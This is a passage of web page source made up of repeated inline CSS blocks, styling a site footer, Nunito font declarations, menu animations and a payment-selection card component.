margin: 67px 80px 60px 80px; }
@media (max-width: 727px) {
.main-footer-public {
margin: 0px; } }
.main-footer-public .content-main-link {
display: flex;
flex-direction: row;
justify-content: space-between; }
@media (max-width: 727px) {
.main-footer-public .content-main-link {
flex-direction: column;
margin: 0 0 16px 0; } }
.main-footer-public .content-main-contact-info {
display: flex;
justify-content: space-between;
margin: 35px 0px 35px;
font-size: 16px;
color: #222D4B; }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info {
display: none; } }
.main-footer-public .content-main-contact-info .main-contact-info-social {
display: flex;
flex-direction: column; }
.main-footer-public .content-main-contact-info .main-contact-info-social label {
font-family: Nunito-ExtraBold; }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info .main-contact-info-social label {
font-family: Nunito-Bold; } }
.main-footer-public .content-main-contact-info .main-contact-info-social .contact-info-social-networks {
display: flex;
width: 130px;
justify-content: space-between;
margin-top: 18px; }
.main-footer-public .content-main-contact-info .main-contact-info-phones {
display: flex;
flex-direction: column;
text-align: center; }
.main-footer-public .content-main-contact-info .main-contact-info-phones label {
font-family: Nunito-ExtraBold; }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info .main-contact-info-phones label {
font-family: Nunito-SemiBold; } }
.main-footer-public .content-main-contact-info .main-contact-info-phones a {
font-family: Nunito-ExtraBold;
margin-top: 18px;
text-decoration: none;
font-size: 22px;
color: #222D4B; }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info .main-contact-info-phones a {
font-family: Nunito-Bold; } }
.main-footer-public .content-main-contact-info--mobile {
display: none; }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info--mobile {
display: flex;
flex-direction: column;
margin: 0 20px;
color: #222D4B;
font-size: 16px;
font-family: Nunito-SemiBold; } }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info--mobile .main-contact-info-social {
display: flex;
flex-direction: row;
justify-content: space-between;
align-items: center;
margin-bottom: 16px; }
.main-footer-public .content-main-contact-info--mobile .main-contact-info-social label {
font-family: Nunito-Bold; } }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info--mobile .main-contact-info-social .contact-info-social-networks {
display: flex;
justify-content: space-between;
margin-top: 0px; }
.main-footer-public .content-main-contact-info--mobile .main-contact-info-social .contact-info-social-networks a {
width: 24px;
height: 20px;
display: flex;
margin-right: 18px;
justify-content: center; } }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info--mobile .main-contact-info-phones {
display: flex;
flex-direction: row;
justify-content: space-between;
align-items: center;
margin-top: 16px; }
.main-footer-public .content-main-contact-info--mobile .main-contact-info-phones:last-child {
margin-bottom: 16px; } }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info--mobile .main-contact-info-phones label {
width: 142px;
font-family: Nunito-SemiBold;
font-size: 15px;
text-align: left; } }
@media (max-width: 727px) {
.main-footer-public .content-main-contact-info--mobile .main-contact-info-phones a {
font-family: Nunito-Bold;
margin-top: 0px;
font-size: 16px;
text-decoration: none;
white-space: nowrap;
color: #222D4B; } }
.main-footer-public .content-main-legal-info {
display: flex;
flex-direction: column;
align-items: center;
margin-top: 36px; }
@media (max-width: 727px) {
.main-footer-public .content-main-legal-info {
padding: 0px 20px 50px;
margin: 0; } }
.main-footer-public .content-main-legal-info .content-legal-text {
display: flex;
flex-direction: column;
text-align: center;
font-size: 12px;
line-height: 20px;
color: #222D4B; }
.main-footer-public .content-main-legal-info .content-legal-text div {
font-family: Nunito-SemiBold; }
@media (max-width: 727px) {
.main-footer-public .content-main-legal-info .content-legal-text {
margin-bottom: 25px;
margin-top: 25px; }
.main-footer-public .content-main-legal-info .content-legal-text div {
font-family: NunitoSans-SemiBold; } }
.main-footer-public .content-main-legal-info .content-footer-logos-main {
display: flex;
justify-content: space-between;
width: 100%;
margin-top: 38px; }
@media (max-width: 727px) {
.main-footer-public .content-main-legal-info .content-footer-logos-main {
margin-top: 25px;
flex-direction: column; } }
.main-footer-public .content-main-legal-info .content-footer-logos-main .content-footer-logos {
display: flex;
min-width: 240px;
justify-content: space-between; }
.main-footer-public .content-main-legal-info .content-footer-logos-main .content-footer-logos a {
width: 36px;
height: 36px; }
@media (max-width: 727px) {
.main-footer-public .content-main-legal-info .content-footer-logos-main .content-footer-logos {
width: auto; } }
.main-footer-public .content-main-legal-info .content-footer-logos-main .content-legal-info-secure {
width: 105px;
height: 40px; }
@media (max-width: 727px) {
.main-footer-public .content-main-legal-info .content-footer-logos-main .content-legal-info-secure {
display: flex;
align-self: center;
margin-top: 28px; } }
@media (max-width: 727px) {
.main-footer-public .footer-public-line--mobile {
border-bottom: 1px solid #ECEFF4;
width: 100%; } }
.main-footer-public .footer-public-line--desktop {
border-bottom: 1px solid #ECEFF4; }
@media (max-width: 727px) {
.main-footer-public .footer-public-line--desktop {
display: none; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.footermenu-link-container {
line-height: 21.82px;
display: flex;
flex-direction: row;
justify-content: flex-start;
align-items: flex-start;
position: relative;
padding: 0px 15px 0px 0px; }
.footermenu-link-container.mobile {
display: flex;
padding: 16px 0px; }
@media (min-width: 728px) {
.footermenu-link-container.mobile {
display: none; } }
@media (max-width: 727px) {
.footermenu-link-container {
display: none; } }
.footermenu-link-container .footermenu-link-text {
color: #222D4B;
font-size: 16px; }
@media (max-width: 727px) {
.footermenu-link-container .footermenu-link-text {
font-family: Nunito-Bold; } }
.footermenu-link-container .footer-submenu-icon {
position: absolute;
right: 0px;
color: #ecf2f8;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.4s;
-moz-transition-duration: 0.4s;
-ms-transition-duration: 0.4s;
-o-transition-duration: 0.4s;
transition-duration: 0.4s;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease; }
.footermenu-link-container .footer-submenu-icon.open {
-webkit-transform: rotateZ(180deg);
-moz-transform: rotateZ(180deg);
-ms-transform: rotateZ(180deg);
-o-transform: rotateZ(180deg);
transform: rotateZ(180deg); }
@media (min-width: 728px) {
.footermenu-link-container .footer-submenu-icon {
display: none; } }
@media (max-width: 727px) {
.footer-menu-public-line--mobile {
border-bottom: 1px solid #e6eaed;
width: auto; } }
.footer-submenu-links-container {
display: flex;
flex-direction: column; }
.footer-submenu-links-container.mobile {
display: flex;
background-color: #f4f7fa; }
@media (min-width: 728px) {
.footer-submenu-links-container.mobile {
display: none; } }
.footer-submenu-links-container.desktop {
display: none; }
@media (min-width: 728px) {
.footer-submenu-links-container.desktop {
display: flex; } }
.footer-submenu-links-container.footer-submenu-links-closed {
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
overflow: hidden;
-webkit-animation: fadeOut ease 0.5s;
-moz-animation: fadeOut ease 0.5s;
-o-animation: fadeOut ease 0.5s;
animation: fadeOut ease 0.5s;
border-bottom: none; }
.footer-submenu-links-container.footer-submenu-links-open {
border-bottom: 1px solid #e6eaed;
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-animation: fadeIn ease 0.5s;
-moz-animation: fadeIn ease 0.5s;
-o-animation: fadeIn ease 0.5s;
animation: fadeIn ease 0.5s; }
@media (max-width: 727px) {
.footermenu-link-container {
align-items: center; }
.footermenu-link-container .footermenu-link-text {
font-size: 16px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.footer-submenu-link {
position: relative;
padding: 0px 40px 0px 0px;
display: flex;
align-items: center; }
.footer-submenu-link .footer-submenu-link-container {
line-height: 30px;
text-decoration: none; }
.footer-submenu-link .footer-submenu-link-container:hover .footer-submenu-link-text {
color: #ff7a02; }
.footer-submenu-link .footer-submenu-link-container .footer-submenu-link-text {
color: #222D4B;
font-family: NunitoSans-Regular;
font-size: 14px; }
@media (max-width: 727px) {
.footer-submenu-link {
padding: 8px 15px 0px 24px;
min-width: 320px; }
.footer-submenu-link:first-child {
padding-top: 16px; }
.footer-submenu-link:last-child {
padding-bottom: 16px; }
.footer-submenu-link .footer-submenu-link-container .footer-submenu-link-text {
font-size: 14px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.footer-menu-bar {
display: flex;
flex-direction: row;
justify-content: space-between;
align-items: flex-start;
margin-bottom: 30px; }
@media (max-width: 727px) {
.footer-menu-bar .footer-menu-bar--link {
width: 100%; } }
.footer-menu-bar .content-link-category {
margin: 0 20px;
order: 1;
margin: 0px;
max-width: 108px; }
@media (max-width: 727px) {
.footer-menu-bar .content-link-category {
order: 0;
flex-direction: column;
margin: 0;
padding-bottom: 22px;
padding-top: 32px; } }
@media (min-width: 728px) {
.footer-menu-bar .content-link-category {
max-width: 108px; } }
.footer-menu-bar .content-link-category .link-category {
display: flex;
justify-content: space-between; }
.footer-menu-bar .content-link-category .link-category .link-category-text {
color: #222D4B;
font-size: 16px;
font-family: Nunito-Bold;
margin-bottom: 10px; }
@media (max-width: 727px) {
.footer-menu-bar .content-link-category .link-category .link-category-text {
margin: 16px 0;
display: none; } }
.footer-menu-bar .content-link-category .container-link {
display: flex;
flex-direction: column; }
.footer-menu-bar .content-link-category .container-link .content-link {
margin-bottom: 13px; }
@media (max-width: 727px) {
.footer-menu-bar .content-link-category .container-link .content-link {
margin-bottom: 14px; }
.footer-menu-bar .content-link-category .container-link .content-link :last-child {
margin-bottom: 10px; } }
.footer-menu-bar .content-link-category .container-link .content-link img {
display: block;
width: 80px;
height: 80px; }
.footer-menu-bar .content-link-category .container-link .content-link .content-link-text {
width: 168px;
font-family: NunitoSans-Bold;
font-size: 14px;
line-height: 24px;
color: #2d9cdb;
margin: 0; }
.footer-menu-bar .content-link-category .container-link-stores {
display: flex;
flex-direction: column; }
@media (max-width: 727px) {
.footer-menu-bar .content-link-category .container-link-stores {
flex-direction: row;
margin: 0px; } }
@media (max-width: 727px) {
.footer-menu-bar .content-link-category .container-link-stores .content-link-store {
margin-right: 12px; } }
@media (min-width: 728px) {
.footer-menu-bar .content-link-category .container-link-stores .content-link-store .link-store-appstore {
margin-bottom: 9px; } }
.footer-menu-bar .content-link-category .container-link-stores .content-link-store .link-store img {
display: block; }
.footer-menu-bar .footer-public-line--mobile {
display: none; }
@media (max-width: 727px) {
.footer-menu-bar .footer-public-line--mobile {
display: flex;
border-bottom: 1px solid #ECEFF4;
width: 100%; } }
@media (max-width: 727px) {
.footer-menu-bar {
flex-direction: column;
margin: 0 20px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.payment-selection__container {
width: 768px;
display: flex;
justify-content: space-between; }
@media (max-width: 727px) {
.payment-selection__container {
width: 100%;
flex-direction: column; } }
.payment-selection__container .container__radio .radio__select {
border: 1px solid #cbd4dc;
border-radius: 10px;
padding: 18px 16px;
box-sizing: border-box;
display: flex;
cursor: pointer;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.payment-selection__container .container__radio .radio__select.select--automatic {
width: 366px;
height: 104px;
margin-bottom: 24px; }
@media (max-width: 727px) {
.payment-selection__container .container__radio .radio__select.select--automatic {
height: auto;
min-height: 104px; } }
@media (min-width: 727px) {
.payment-selection__container .container__radio .radio__select.select--automatic:last-child {
margin-bottom: 0; } }
@media (max-width: 727px) {
.payment-selection__container .container__radio .radio__select.select--automatic {
width: 100%; } }
.payment-selection__container .container__radio .radio__select.select--manual {
width: 368px;
height: 232px;
padding-right: 50px; }
@media (max-width: 727px) {
.payment-selection__container .container__radio .radio__select.select--manual {
width: 100%;
height: 160px;
padding-right: 24px; } }
.payment-selection__container .container__radio .radio__select.select--manual .select__information {
justify-content: flex-start; }
.payment-selection__container .container__radio .radio__select .select__form {
margin-right: 10px;
position: relative; }
.payment-selection__container .container__radio .radio__select .select__form input[type='radio'] {
width: 20px;
height: 20px;
visibility: hidden;
margin: 0; }
.payment-selection__container .container__radio .radio__select .select__information {
width: 100%;
display: flex;
flex-direction: column;
justify-content: space-between; }
.payment-selection__container .container__radio .radio__select .select__information .information__title {
display: flex;
justify-content: space-between; }
.payment-selection__container .container__radio .radio__select .select__information .information__title .title__label {
font-family: Nunito-Bold;
font-size: 16px;
line-height: 22px;
color: #416179; }
.payment-selection__container .container__radio .radio__select .select__information .information__title .title__amount {
font-family: NunitoSans-Bold;
font-size: 24px;
line-height: 24px;
color: #122e43;
margin: 0; }
.payment-selection__container .container__radio .radio__select .select__information .information__input {
width: 100%;
height: 48px;
border-radius: 6px;
border: 1px solid #cbd4dc;
padding: 12px 16px;
box-sizing: border-box;
outline: none;
font-family: NunitoSans-Bold;
font-size: 20px;
line-height: 28px;
color: #122e43; }
.payment-selection__container .container__radio .radio__select .select__information .information__message .message__description {
font-family: Nunito-Regular;
font-size: 12px;
line-height: 16px;
color: #788fa0;
margin: 0; }
.payment-selection__container .container__radio .radio__select .select__information .information__message .message__description b {
font-family: Nunito-Bold; }
.payment-selection__container .container__radio .radio__select .select__information .information__label {
font-family: Nunito-Bold;
font-size: 16px;
line-height: 22px;
color: #416179;
margin-bottom: 8px; }
.payment-selection__container .container__radio .radio__select .select__information .information__description {
font-family: Nunito-Regular;
font-size: 12px;
line-height: 16px;
color: #788fa0;
margin: 4px 0 0 0; }
.payment-selection__container .container__radio .radio__select .select__information .information__description b {
font-family: Nunito-Bold; }
.payment-selection__container .container__radio .radio__select .select__information .information__message--info {
display: flex;
align-items: flex-start;
margin-top: 4px; }
.payment-selection__container .container__radio .radio__select .select__information .information__message--info .message--info__icon {
width: 14px;
height: 14px;
margin-right: 6px; }
.payment-selection__container .container__radio .radio__select .select__information .information__message--info .message--info__info {
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px;
color: #0169b5;
margin: 0; }
.payment-selection__container .container__radio .radio__select .select__information .information__message--info .message--info__info b {
font-family: NunitoSans-Bold; }
.payment-selection__container .container__radio .radio__select .select__information .information__message--error {
display: flex;
align-items: center;
margin-top: 4px; }
.payment-selection__container .container__radio .radio__select .select__information .information__message--error .message--error__icon {
width: 12px;
height: 12px;
margin-right: 6px; }
.payment-selection__container .container__radio .radio__select .select__information .information__message--error .message--error__info {
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px;
color: #ff4858;
margin: 0; }
.payment-selection__container .container__radio .radio__select .select__information .information__message--error .message--error__info b {
font-family: NunitoSans-Bold; }
.payment-selection__container .container__radio .radio__select.active {
border: 1px solid #2d9cdb;
box-shadow: 0px 0px 0px 3px rgba(45, 156, 219, 0.2); }
.payment-selection__container .container__radio .radio__select.disabled {
background-color: #f4f6f8;
border: 1px solid #cbd4dc;
cursor: no-drop; }
.payment-selection__container .container__radio .radio__select.disabled .select__information .information__title .title__label {
color: #a0acb6; }
.payment-selection__container .container__radio .radio__select.disabled .select__information .information__title .title__amount {
color: #b1bcc4; }
.payment-selection__container .container__radio .radio__select.error {
border: 1px solid #ff4858;
box-shadow: 0px 0px 0px 3px rgba(252, 143, 153, 0.2); }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
